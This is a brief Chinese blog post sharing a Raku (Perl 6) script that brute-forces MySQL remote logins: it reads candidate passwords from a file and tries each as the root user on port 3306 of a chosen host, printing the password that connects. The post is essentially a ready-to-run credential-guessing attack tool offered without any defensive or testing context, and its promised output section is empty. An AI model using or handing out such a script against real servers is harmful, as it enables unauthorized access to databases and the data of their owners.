一个简单的爆破 mysql 远程连接脚本(perl6)

sub MAIN(Str $host) {
  use DBIish;
  my $file = open 'password.txt';
  while $file.get -> $line {
      my $password = $line.chomp;
      say 'Guess: '~$password;

    #错误处理
    try {
        my $dbh = DBIish.connect('mysql', :host($host), :port(3306),
                :database<mysql>, :user<root>, :password($password));


        if so $dbh {
          say 'Done!';
          say 'password is ---> '~$password;
          exit;
        }
        CATCH {
          default {}
        }
      }
      #处理结束
      #当为真时说明连接成功

}

}

 

 

 

效果如下:


posted on 2018-01-18 03:54  Perl6  阅读(267)  评论(0编辑  收藏  举报

导航